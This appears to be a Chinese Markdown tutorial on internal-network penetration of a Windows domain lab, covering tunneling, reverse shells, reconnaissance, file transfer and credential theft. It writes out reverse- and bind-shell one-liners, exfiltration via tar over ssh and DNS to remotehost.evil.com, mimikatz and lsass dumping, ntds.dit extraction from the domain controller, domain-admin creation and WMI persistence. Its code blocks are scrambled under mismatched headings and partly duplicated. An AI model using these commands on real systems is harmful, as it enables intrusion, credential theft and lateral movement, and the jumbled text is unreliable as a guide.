Skip to content

Latest commit

 

History

History
1512 lines (1094 loc) · 51 KB

内网渗透学习(搭建实验环境到利用).md

File metadata and controls

1512 lines (1094 loc) · 51 KB

> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s/hlHLYCbvy4IAE0WTMG-TGA)

环境搭建:

DC: win2008 

DM: win2003 

DM: winxp

win2008(域控) 

1、修改计算机名:

2、配置固定 ip: 其中网关设置错误,应该为 192.168.206.2,开始默认的网管

3、服务器管理器 --- 角色:

4、配置域服务: dos 下面输入dcpromo

Ps:这里可能会因为本地 administrator 的密码规则不合要求,导致安装失败,改一个强密码

5、设置林根域:林就是在多域情况下形成的森林, 根表示基础, 其他在此根部衍生 具体见:http://angerfire.blog.51cto.com/198455/144123/

6、域数据存放的地址

win2003、winxp 和 08 配置差不多

注意点是:1、配置网络 dns server 应该为主域控 ip 地址

2、加入域控

域已经搭建完成,主域控会生成一个krbtgt账号 他是 Windows 活动目录中使用的客户 / 服务器认证协议,为通信双方提供双向身份认证

参考: 

AD域环境的搭建 
基于Server 2008 R2http://www.it165.net/os/html/201306/5493.htmlAcitve Directory 
域环境的搭建http://blog.sina.com.cn/s/blog\_6ce0f2c901014okt.html

**端口转发 && 边界代理(**此类工具很多,测试一两个经典的)

端口转发

1、windows lcx

监听1234端口,转发数据到2333端口
本地:lcx.exe -listen 1234 2333

将目标的3389转发到本地的1234端口
远程:lcx.exe -slave ip 1234 127.0.0.1 3389
添加转发规则
netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=3333 connectaddress=192.168.206.100 connectport=3389
此工具适用于,有一台双网卡服务器,你可以通过它进行内网通信,比如这个,你连接192.168.206.101:3388端口是连接到100上面的3389

删除转发规则
netsh interface portproxy delete v4tov4 listenport=9090

查看现有规则
netsh interface portproxy show all

xp需要安装ipv6
netsh interface ipv6 install

netsh 只支持 tcp 协议

http://aofengblog.blog.163.com/blog/static/631702120148573851740/
监听1234端口,转发数据到2333端口
本地:./portmap -m 2 -p1 1234 -p2 2333

将目标的3389转发到本地的1234端口
./portmap -m 1 -p1 3389 -h2 ip -p2 1234

更加详细参考:

1、编辑配置文件/etc/sysctl.conf的net.ipv4.ip\_forward = 1

2、关闭服务
service iptables stop

3、配置规则
需要访问的内网地址:192.168.206.101
内网边界web服务器:192.168.206.129
iptables -t nat -A PREROUTING --dst 192.168.206.129 -p tcp --dport 3389 -j DNAT --to-destination 192.168.206.101:3389

iptables -t nat -A POSTROUTING --dst 192.168.206.101 -p tcp --dport 3389 -j SNAT --to-source 192.168.206.129

4、保存&&重启服务
service iptables save && service iptables start

2、linux portmap

\>端口转发(将远程3389转发到本地1234)
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 3389 -v
>
>连接不能中断服务(比如ssh)
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 22 -v -s
>
>转发192.168.0.2的3389到本地
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -a 192.168.0.2 -r 3389
python reGeorgSocksProxy.py -u http://192.168.206.101/tunnel.php -p 8081

iptables

本地访问127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port1:127.0.0.1:port2 user@host    #本地转发

访问host:port2就是访问127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host    #远程转发

可以将dmz\_host的hostport端口通过remote\_ip转发到本地的port端口
ssh -qTfnN -L port:dmz\_host:hostport -l user remote\_ip   #正向隧道,监听本地port

可以将dmz\_host的hostport端口转发到remote\_ip的port端口
ssh -qTfnN -R port:dmz\_host:hostport -l user remote\_ip   #反向隧道,用于内网穿透防火墙限制之类
socket代理:
ssh -qTfnN -D port remotehost

socket 代理 xsocks 

1、windows

进行代理后,在 windows 下推荐使用 Proxifier 进行 socket 连接,规则自己定义

2、linux 进行代理后,推荐使用 proxychains 进行 socket 连接 kali 下的配置文件:/etc/proxychains.conf 添加一条:socks5 127.0.0.1 8888

然后在命令前加 proxychains 就进行了代理

神器推荐(http://rootkiter.com/EarthWorm/)跨平台 + 端口转发 + socket 代理结合体!

基于 http 的转发与 socket 代理 (低权限下的渗透) 如果目标是在 dmz 里面,数据除了 web 其他出不来,便可以利用 http 进行

1、端口转发 tunna

1、bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

2、python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'

3、rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

2、socks 代理 reGeorg

http://wiki.wooyun.org/pentest:%E5%90%84%E7%A7%8D%E8%AF%AD%E8%A8%80%E4%B8%80%E5%8F%A5%E8%AF%9D%E5%8F%8D%E5%BC%B9shell
icmpsh.exe -t kali\_ip -d 500 -b 30 -s 128

ssh 通道(http://staff.washington.edu/corey/fw/ssh-port-forwarding.html)

1、端口转发

1、msfvenom -p windows/x64/shell/bind\_tcp LPORT=12345 -f exe -o ./shell.exe
先生成一个bind\_shell

2、本地利用tunna工具进行端口转发
python proxy.py -u http://lemon.com/conn.jsp  -l 1111 -r 12345 v

3、
use exploit/multi/handler
set payload windows/x64/shell/bind\_tcp
set LPORT 1111
set RHOST 127.0.0.1
1、nc -e /bin/sh -lp 1234

2、nc.exe -e cmd.exe -lp 1234
C:\\Documents and Settings\\Administrator\\Desktop>net view
Server Name            Remark

-----------------------------------------------------------------------------
\\\\DC1
\\\\DM-WINXP
\\\\DM\_WIN03
The command completed successfully.

获取 shell

常规 shell 反弹 几个常用:

C:\\Documents and Settings\\Administrator\\Desktop>net view /domain
Domain

-----------------------------------------------------------------------------
CENTOSO
The command completed successfully.
C:\\Documents and Settings\\Administrator\\Desktop>ping -n 1 DC1 -4

Pinging DC1.centoso.com \[192.168.206.100\] with 32 bytes of data:

Reply from 192.168.206.100: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.206.100:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms
Ps:如果计算机名很多的时候,可以利用bat批量ping获取ip

@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\\" %%j IN (\`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v\`) DO (
@FOR /F "usebackq delims=" %%i IN (\`@ping -n 1 -4 %%j ^| findstr "Pinging"\`) DO (
@FOR /F "usebackq tokens=2 delims=\[\]" %%k IN (\`echo %%i\`) DO (echo %%k  %%j)
)
)
The request will be processed at a domain controller for domain
System error 1326 has occurred.
Logon failure: unknown user name or bad password.
dsquery user
或者:
C:\\Users\\lemon\\Desktop>net user /domain

User accounts for \\\\DC1

-------------------------------------------------------------------------------
Administrator            Guest                    krbtgt
lemon                    pentest
The command completed successfully.

win03 运行:

C:\\Users\\lemon\\Desktop>net group /domain

Group Accounts for \\\\DC1

----------------------------------------------
\*DnsUpdateProxy
\*Domain Admins
\*Domain Computers
\*Domain Controllers
\*Domain Guests
\*Domain Users
\*Enterprise Admins
\*Enterprise Read-only Domain Controllers
\*Group Policy Creator Owners
\*Read-only Domain Controllers
\*Schema Admins
The command completed successfully.
C:\\Users\\lemon\\Desktop>net group "Domain Admins" /domain
Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-----------------------------------------------------------
Administrator

可以看到 icmp 进行通信的

Shell 反弹不出的时候

主要针对:本机 kali 不是外网或者目标在 dmz 里面反弹不出 shell,可以通过这种直连 shell 然后再通过 http 的端口转发到本地的 metasploit

添加普通域用户
net user lemon iam@L3m0n /add /domain
将普通域用户提升为域管理员
net group "Domain Admins" lemon /add /domain

C:\\Documents and Settings\\Administrator\\Desktop>net config Workstation
Computer name                        \\\\DM\_WIN03
Full Computer name                   DM\_win03.centoso.com
User name                            Administrator

Workstation active on
        NetbiosSmb (000000000000)
        NetBT\_Tcpip\_{6B2553C1-C741-4EE3-AFBF-CE3BA1C9DDF7} (000C2985F6E4)

Software version                     Microsoft Windows Server 2003

Workstation domain                   CENTOSO
Workstation Domain DNS Name          centoso.com
Logon domain                         DM\_WIN03

COM Open Timeout (sec)               0
COM Send Count (byte)                16
COM Send Timeout (msec)              250

参考的文章:https://www.91ri.org/11722.html

正向 shell

net group "Domain controllers"
dsquery computer
下面这条查询的时候,域控不会列出
net group "Domain Computers" /domain

信息收集 (结构分析) 

基本命令

1、获取当前组的计算机名 (一般 remark 有 Dc 可能是域控):

\>1、映射磁盘到本地
net use z: \\\\dc01\\sysvol

>2、查看共享
net view \\\\192.168.0.1

>3、开启一个共享名为app$,在d:\\config
>net share app$=d:\\config

2、查看所有域

tracert 8.8.8.8

3、从计算机名获取 ipv4 地址

C:\\Users\\lemon\\Desktop>net time /domain
Current time at \\\\DC1.centoso.com is 3/21/2016 12:37:15 AM

以下执行命令时候会发送到域控查询, 如果渗透的机器不是域用户权限, 则会报错

C:\\Documents and Settings\\Administrator\\Desktop>Nslookup -type=SRV \_ldap.\_tcp.
\*\*\* Can't find server address for '\_ldap.\_tcp.':
DNS request timed out.
    timeout was 2 seconds.
\*\*\* Can't find server name for address 192.168.206.100: Timed out
Server:  UnKnown
Address:  192.168.206.100

\*\*\* UnKnown can't find -type=SRV: Non-existent domain
ipconfig/all

4、查看域中的用户名

net group "Domain Controllers" /domain
nbtstat -A 192.168.1.99

5、查询域组名称

nbtscan 192.168.1.0/24
WinScanX.exe -3 DC1 centoso\\pentest password -a > test.txt

6、查询域管理员

proxychains python scanner.py 192.168.0.0/24 -N
http://insight-labs.org/?p=981
$d = New-Object System.Net.WebClient
$d.DownloadFile("http://lemon.com/file.zip","c:/1.zip")

7、添加域管理员账号

Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://192.168.206.101/file.zip",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "c:\\file.zip",2
下载执行:

cscript test.vbs
bitsadmin /transfer n http://lemon.com/file.zip c:\\1.zip

8、查看当前计算机名,全名,用户名,系统版本,工作站域,登陆域

net use x: \\\\127.0.0.1\\share /user:centoso.com\\userID myPassword
服务端:nc -lvp 23 < nc.exe
下载端:telnet ip -f c:\\nc.exe

9、查看域控制器 (多域控制器的时候, 而且只能用在域控制器上)

<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.206.101/demo.php.zip",false);
Object.send();
if (Object.Status == 200)
{
    var Stream = new ActiveXObject("ADODB.Stream");
    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.SaveToFile("C:\\\\demo.zip", 2);
    Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>
#!/usr/bin/perl
use LWP::Simple
getstore("http://lemon.com/file.zip", "/root/1.zip");

10、查询所有计算机名称

#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://lemon.com/file.zip')
localFile = open('/root/1.zip', 'w')
localFile.write(u.read())
localFile.close()
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.lemon.com") { |http|
r = http.get("/file.zip")
open("/root/1.zip", "wb") { |file|
file.write(r.body)
}
}

11、net 命令

wget http://lemon.com/file.zip -P /root/1.zip
其中-P是保存到指定目录
tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name;tar zxpf -"

12、跟踪路由

tar zcf - localfolder | xxd -p -c 16 |  while read line; do host $line.domain.com remotehost.evil.com; done

定位域控 

1、查看域时间及域服务器的名字

<?php
        $data = @file("http://example.com/file");
        $lf = "local\_file";
        $fh = fopen($lf, 'w');
        fwrite($fh, $data\[0\]);
        fclose($fh);
?>

2、

\>\*\*windows下\*\*
>ftp下载是需要交互,但是也可以这样去执行下载
open host
username
password
bin
lcd c:/
get file
bye
>将这个内容保存为1.txt, ftp -s:"c:\\1.txt"
>在mssql命令执行里面(不知道为什么单行执行一个echo,总是显示两行),个人一般喜欢这样
echo open host >> c:\\hh.txt & echo username >> c:\\hh.txt & echo password >>c:\\hh.txt & echo bin >>c:\\hh.txt & echo lcd c:\\>>c:\\hh.txt & echo get nc.exe  >>c:\\hh.txt & echo bye >>c:\\hh.txt & ftp -s:"c:\\hh.txt" & del c:\\hh.txt

>\*\*linux下\*\*

>bash文件
ftp 127.0.0.1
username
password
get file
exit

>或者使用busybox里面的tftp或者ftp
>busybox ftpget -u test -P test 127.0.0.1 file.zip
服务端:cat file | nc -l 1234
下载端:nc host\_ip 1234 > file

3、通过 ipconfig 配置查找 dns 地址

\>vi /etc/samba/smb.conf
\[test\]
    comment = File Server Share
    path = /tmp/
    browseable = yes
    writable = yes
    guest ok = yes
    read only = no
    create mask = 0755
>service samba start
下载端

net use o: \\\\192.168.206.129\\test
dir o:
\[byte\[\]\] $hexdump = get-content -encoding byte -path "nc.exe"
\[System.IO.File\]::WriteAllLines("nc.txt", (\[string\]$hexdump))
TexttoExe.ps1

\[String\]$hexdump = get-content -path "nc.txt"
\[Byte\[\]\] $temp = $hexdump -split ' '
\[System.IO.File\]::WriteAllBytes("nc1.exe", $temp)

4、查询域控

csc.exe /out:C:\\evil\\evil.exe C:\\evil\\evil.cs
|        | 2000  | xp| 2003 | Vista | win7 | 2008 | 2012 | |--------| |   LM   | √ | √ | √ | |  NTLM  | √ | √ | √ | √ | √ | √ | √|

端口收集

端口方面的攻防需要花费的时间太多,引用一篇非常赞的端口总结文章

端口号端口说明攻击技巧
21/22/69ftp/tftp:文件传输协议爆破 \ 嗅探 \ 溢出 \ 后门
22ssh:远程连接爆破 OpenSSH;28 个退格
23telnet:远程连接爆破 \ 嗅探
25smtp:邮件服务邮件伪造
53DNS:域名系统DNS 区域传输 \ DNS 劫持 \ DNS 缓存投毒 \ DNS 欺骗 \ 利用 DNS 隧道技术刺透防火墙
67/68dhcp劫持 \ 欺骗
110pop3爆破
139samba爆破 \ 未授权访问 \ 远程代码执行
143imap爆破
161snmp爆破
389ldap注入攻击 \ 未授权访问
512/513/514linux r直接使用 rlogin
873rsync未授权访问
1080socket爆破:进行内网渗透
1352lotus爆破:弱口令 \ 信息泄漏:源代码
1433mssql爆破:使用系统用户登录 \ 注入攻击
1521oracle爆破:TNS \ 注入攻击
2049nfs配置不当
2181zookeeper未授权访问
3306mysql爆破 \ 拒绝服务 \ 注入
3389rdp爆破 \ Shift 后门
4848glassfish爆破:控制台弱口令 \ 认证绕过
5000sybase/DB2爆破 \ 注入
5432postgresql缓冲区溢出 \ 注入攻击 \ 爆破:弱口令
5632pcanywhere拒绝服务 \ 代码执行
5900vnc爆破:弱口令 \ 认证绕过
6379redis未授权访问 \ 爆破:弱口令
7001weblogicJava 反序列化 \ 控制台弱口令 \ 控制台部署 webshell
80/443/8080web常见 web 攻击 \ 控制台爆破 \ 对应服务器版本漏洞
8069zabbix远程命令执行
9090websphere 控制台爆破:控制台弱口令 \ Java 反序列
9200/9300elasticsearch远程代码执行
11211memcacache未授权访问
27017mongodb爆破 \ 未授权访问

引用:https://www.91ri.org/15441.htmlwooyun

扫描分析 

1、nbtscan 获取 mac 地址:

reg save hklm\\sam sam.hive
reg save hklm\\system system.hive
reg save hklm\\security security.hive
reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG\_DWORD /d 1

获取计算机名 \ 分析 dc \ 是否开放共享

privilege::debug
sekurlsa::logonpasswords
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt

其中信息:SHARING  表示开放来共享, DC  表示可能是域控,或者是辅助域控 U=user  猜测此计算机登陆名 IIS  表示运行来 web80 EXCHANGE  Microsoft Exchange 服务 NOTES   Lotus Notes 服务

2、WinScanX 需要登录账号能够获取目标很详细的内容。其中还有 snmp 获取, windows 密码猜解 (但是容易被杀, nishang 中也实现出一个类似的信息获取 / Gather/Get-Information.ps1)

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
文件会比较大,低效,但是安全(绕过杀软)
ps:mimikatz的平台(platform)要与进行dump的系统(source dump)兼容(比如dowm了08的,本地就要用08系统来分析)
远程:
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
本地:
sekurlsa::minidump lsass.dump.dmp
sekurlsa::logonpasswords full

3、端口扫描 InsightScan proxy_socket 后,直接

QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\\ntds.dit

内网文件传输

windows 下文件传输

1、powershell 文件下载 powershell 突破限制执行:powershell -ExecutionPolicy Bypass -File .\1.ps1

QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\\ntds.dit --system-file c:\\system.hiv
c:\\windows\\system32\\config\\system
c:\\windows\\ntds\\ntds.dit

2、vbs 脚本文件下载

cscript vssown.vbs /delete \*
libesedb的搭建:
wget https://github.com/libyal/libesedb/releases/download/20151213/libesedb-experimental-20151213.tar.gz
tar zxvf libesedb-experimental-20151213.tar.gz
cd libesedb-20151213/
./configure
make
cd esedbtools/
(需要把刚刚vbs脱下来的ntds.dit放到kali)
./esedbexport ./ntds.dit
mv ntds.dit.export/ ../../

ntdsxtract工具的安装:
wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract\_v1\_0.zip
unzip ntdsxtract\_v1\_0.zip
cd NTDSXtract 1.0/
(需要把刚刚vbs脱下来的SYSTEM放到/root/SYSTEM)
python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link\_table.5 --passwordhashes '/root/SYSTEM'

3、bitsadmin win03 测试没有, win08 有

$PSVersionTable.PSVersion
看第一个Major
或者
Get-Host | Select-Object Version
ntds.dit(vshadow获取)
system(reg获取)

4、文件共享 映射了一个,结果没有权限写

允许执行脚本:
Set-ExecutionPolicy Unrestricted

导入模块(测试是win2012\_powershell ver4.0):
Import-Module .\\DSInternals
(powershell ver5.0)
Install-Module DSInternals

分析hash,并导出到当前目录的hash.txt文件中
1、$key = Get-BootKey -SystemHivePath 'C:\\Users\\administrator\\Desktop\\SYSTEM'
2、Get-ADDBAccount -All -DBPath 'C:\\Users\\administrator\\Desktop\\ntds.dit' -BootKey $key | Out-File hash.txt
1、进行一个连接
net use \\\\10.10.24.44\\ipc$ 密码 /user:账号

2、复制本地文件到10.10.24.44的share共享目录(一般是放入admin$这个共享地方(也就是c:\\winnt\\system32\\),或者c$,d$)
copy 4.bat \\\\10.10.24.44\\share

3、查看10.10.24.44服务器的时间
net time \\\\10.10.24.44

4、添加at任务执行
at \\\\10.10.24.44 6:21 \\\\10.10.24.44\\share\\4.bat
这个6:21指的是上午的时间,如果想添加下午的,则是6.21PM

5、查看添加的所有at任务列表(如果执行了得,就不会显示)
at \\\\10.10.24.44
查看所有连接
net use
删除连接
net use \\\\10.10.24.44\\share /del

映射共享磁盘到本地
net use z: \\\\IP\\c$ "密码" /user:"用户名"
删除共享映射
net use c: /del
net use \* /del
psexec.exe \\\\ip –accepteula -u username -p password program.exe

6、hta 保存为. hta 文件后运行

\-c <\[路径\]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回
比如想上传一个本地的getpass到你远程连接的服务器上去:
Psexec.exe \\\\ip –u user –p pass –c c:\\getpass.exe –d
copy 1.bat \\\\host\\c$\\windows\\temp\\1.bat

wmic /node:ip /user:test /password:testtest process call create c:\\windows\\temp\\1.bat

linux 下文件传输

1、perl 脚本文件下载 kali 下测试成功,centos5.5 下,由于没有 LWP::Simple 这个,导致下载失败

1、半交互模式
cscript.exe //nologo wmiexec.vbs /shell ip username password
2、单命令执行
cscript.exe wmiexec.vbs /cmd ip username password "command"
3、wce\_hash注入
如果抓取的LM hash是AAD3开头的,或者是No Password之类的,就用32个0代替LM hash
wce -s hash
cscript.exe //nologo wmiexec.vbs /shell ip
cmd /c reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\system /v LocalAccountTokenFilterPolicy /t REG\_DWORD /d 1 /f

2、python 文件下载

test.exe ip user pass command sharename
https://github.com/samratashok/nishang/blob/5da8e915fcd56fc76fc16110083948e106486af0/Shells/Invoke-PowerShellWmi.ps1

3、ruby 文件下载 centos5.5 没有 ruby 环境

1、系统权限(其中test为服务名)
sc \\\\DC1 create test binpath= c:\\cmd.exe
sc \\\\DC1 start test
sc \\\\DC1 delete test

2.指定用户权限启动
sc \\\\DC1 create test binpath = "c:\\1.exe" obj= "centoso\\administrator" passwrod= test
sc \\\\DC1 start test
命令原型:
schtasks /create /tn TaskName /tr TaskRun /sc schedule \[/mo modifier\] \[/d day\] \[/m month\[,month...\] \[/i IdleTime\] \[/st StartTime\] \[/sd StartDate\] \[/ed EndDate\] \[/s computer \[/u \[domain\\\]user /p password\]\] \[/ru {\[Domain\\\]User | "System"} \[/rp Password\]\] /?

For example:
schtasks /create /tn foobar /tr c:\\windows\\temp\\foobar.exe /sc once /st 00:00 /S host /RU System
schtasks /run /tn foobar /S host
schtasks /F /delete /tn foobar /S host

4、wget 文件下载

#pragma namespace("\\\\\\\\.\\\\root\\\\subscription")

instance of \_\_EventFilter as $EventFilter
{
    EventNamespace = "Root\\\\Cimv2";
    Name  = "filtP2";
    Query = "Select \* From \_\_InstanceModificationEvent "
            "Where TargetInstance Isa \\"Win32\_LocalTime\\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\\"WScript.Shell\\")\\nWSH.run(\\"net.exe user admin adminaz1 /add\\")";
};
instance of \_\_FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

5、一边 tar 一边 ssh 上传

tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name;tar zxpf -"
6、利用dns传输数据
tar zcf - localfolder | xxd -p -c 16 |  while read line; do host $line.domain.com remotehost.evil.com; done
但是有时候会因为没找到而导致数据重复,对数据分析有点影响

其他传输方式 

1、php 脚本文件下载

<?php
        $data = @file("http://example.com/file");
        $lf = "local\_file";
        $fh = fopen($lf, 'w');
        fwrite($fh, $data\[0\]);
        fclose($fh);
?>

2、ftp 文件下载

\>\*\*windows下\*\*
>ftp下载是需要交互,但是也可以这样去执行下载
open host
username
password
bin
lcd c:/
get file
bye
>将这个内容保存为1.txt, ftp -s:"c:\\1.txt"
>在mssql命令执行里面(不知道为什么单行执行一个echo,总是显示两行),个人一般喜欢这样
echo open host >> c:\\hh.txt & echo username >> c:\\hh.txt & echo password >>c:\\hh.txt & echo bin >>c:\\hh.txt & echo lcd c:\\>>c:\\hh.txt & echo get nc.exe  >>c:\\hh.txt & echo bye >>c:\\hh.txt & ftp -s:"c:\\hh.txt" & del c:\\hh.txt
>\*\*linux下\*\*
>bash文件
ftp 127.0.0.1
username
password
get file
exit
>或者使用busybox里面的tftp或者ftp
>busybox ftpget -u test -P test 127.0.0.1 file.zip

3、nc 文件传输

服务端:cat file | nc -l 1234
下载端:nc host\_ip 1234 > file

4、使用 SMB 传送文件 本地 linux 的 smb 环境配置

\>vi /etc/samba/smb.conf
\[test\]
    comment = File Server Share
    path = /tmp/
    browseable = yes
    writable = yes
    guest ok = yes
    read only = no
    create mask = 0755
>service samba start
下载端
net use o: \\\\192.168.206.129\\test
dir o:

文件编译

1、powershell 将 exe 转为 txt,再 txt 转为 exe nishang 中的小脚本,测试一下将 nc.exe 转化为 nc.txt 再转化为 nc1.exe ExetoText.ps1

\[byte\[\]\] $hexdump = get-content -encoding byte -path "nc.exe"
\[System.IO.File\]::WriteAllLines("nc.txt", (\[string\]$hexdump))
TexttoExe.ps1
\[String\]$hexdump = get-content -path "nc.txt"
\[Byte\[\]\] $temp = $hexdump -split ' '
\[System.IO.File\]::WriteAllBytes("nc1.exe", $temp)

2、csc.exe 编译源码 csc.exe 在 C:\Windows\Microsoft.NET\Framework \ 的各种版本之下

csc.exe /out:C:\\evil\\evil.exe C:\\evil\\evil.cs

3、debug 程序 hex 功能能将 hex 文件转换为 exe 文件 (win08_x64 没有这个, win03_x32 有, 听说是 x32 才有这个)

思路:

  1. 把需要上传的 exe 转换成十六进制 hex 的形式

  2. 通过 echo 命令将 hex 代码写入文件 (echo 也是有长度限制的)

  3. 使用 debug 功能将 hex 代码还原出 exe 文件

将 ncc.txt 的内容一条一条的在 cmd 下面执行,最后可以获取到 123.hex、1.dll、nc.exe exe2bat 不支持大于 64kb 的文件

hash 抓取

hash 简介 windows hash:

|        | 2000  | xp| 2003 | Vista | win7 | 2008 | 2012 | |--------| |   LM   | √ | √ | √ | |  NTLM  | √ | √ | √ | √ | √ | √ | √|

前面三个, 当密码超过 14 位时候会采用 NTLM 加密 test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248::: 前一部分是 LM Hash,后一部分是 NTLM Hash 当 LM Hash 是 AAD3B435B51404EEAAD3B435B51404EE 这表示空密码或者是未使用 LM_HASH

Hash 一般存储在两个地方:SAM 文件,存储在本机                         对应本地用户 NTDS.DIT 文件,存储在域控上              对应域用户

本机 hash + 明文抓取

1、Get-PassHashes.ps1

2、导注册表 + 本地分析 Win2000 和 XP 需要先提到 SYSTEM,03 开始直接可以 reg save 导出的文件大, 效率低, 但是安全 (测试的时候和 QuarkPwDump 抓取的 hash 不一致)

reg save hklm\\sam sam.hive
reg save hklm\\system system.hive
reg save hklm\\security security.hive

3、QuarkPwDump

QuarkPwDump.exe -dhl -o "c:\\1.txt"

4、getpass 本地账户明文抓取 闪电小子根据 mimikatz 写的一个内存获取明文密码

http://bbs.pediy.com/showthread.php?t=156643

win8+win2012 明文抓取 

修改一个注册表就可以抓取了

reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG\_DWORD /d 1
测试失败
工具:https://github.com/samratashok/nishang/blob/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1文章地址:https://www.trustedsec.com/april-2015/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/

域用户 hash 抓取 #####mimikatz 只能抓取登陆过的用户 hash,无法抓取所有用户, 需要免杀 

1、本机测试直接获取内存中的明文密码

privilege::debug
sekurlsa::logonpasswords

2、非交互式抓明文密码 (webshell 中)

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt
3、powershell加载mimikatz抓取密码
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
4、ProcDump + Mimikatz本地分析
文件会比较大,低效,但是安全(绕过杀软)
ps:mimikatz的平台(platform)要与进行dump的系统(source dump)兼容(比如dowm了08的,本地就要用08系统来分析)
远程:
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
本地:
sekurlsa::minidump lsass.dump.dmp
sekurlsa::logonpasswords full

ntds.dit 的导出 + QuarkPwDump 读取分析 

无法抓取所有用户, 需要免杀

这个方法分为两步:第一步是利用工具导出 ntds.dit 第二步是利用 QuarkPwDump 去分析 hash

1、ntds.dit 的导出

  1. ntdsutil    win2008 开始 DC 中自带的工具

a. 交互式

snapshot
activate instance ntds
create
mount xxx

做完后 unmount 然后需要再 delet 一下

b. 非交互

ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT\_POINT\\windows\\ntds\\ntds.dit c:\\temp\\ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

  1. vshadow   微软的卷影拷贝工具
vshadow.exe -exec=%ComSpec% C:

其中 %ComSpec% 是 cmd 的绝对路径, 它在建立卷影后会启动一个程序, 只有这个程序才能卷影进行操作, 其他不能, 比如这里就是用 cmd.exe 来的 最后 exit 一下

2、QuarkPwDump 分析 https://github.com/quarkslab/quarkspwdump

  1. 在线提取

    QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\\ntds.dit
    
  2. 离线提取 需要两个文件 ntds.dit 和 system.hiv 其中 system.hiv 可通过reg save hklm\system system.hiv获取

QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\\ntds.dit --system-file c:\\system.hiv

3、实战中 hash 导出流程

1. 建立 ipc$ 连接net use \\DC1\c$ password /user:username2. 复制文件到 DCcopy .\* \\DC1\windows\tasks3.sc 建立远程服务启动程序sc \\DC1 create backupntds binPath= "cmd /c start c:\windows\tasks\shadowcopy.bat" type= share start= auto error= ignore DisplayName= BackupNTDS4. 启动服务sc \\DC1 start backupntds5. 删除服务sc \\DC1 delete backupntds6. 讲 hash 转移到本地move \\DC1\c$\windows\tasks\hash.txt .7. 删除记录文件del \\DC1\c$\windows\tasks\ntds.dit \\DC1\c$\windows\tasks\QuarksPwDump.exe \\DC1\c$\windows\tasks\shadowcopy.bat \\DC1\c$\windows\tasks\vshadow.exe

注意的两点是:a.WORK_PATH 和你拷贝的地方要相同

b. 附件中的 QuarkPwDump 在 win08 上面运行报错, 另外修改版可以, 所以实战前还是要测试一下

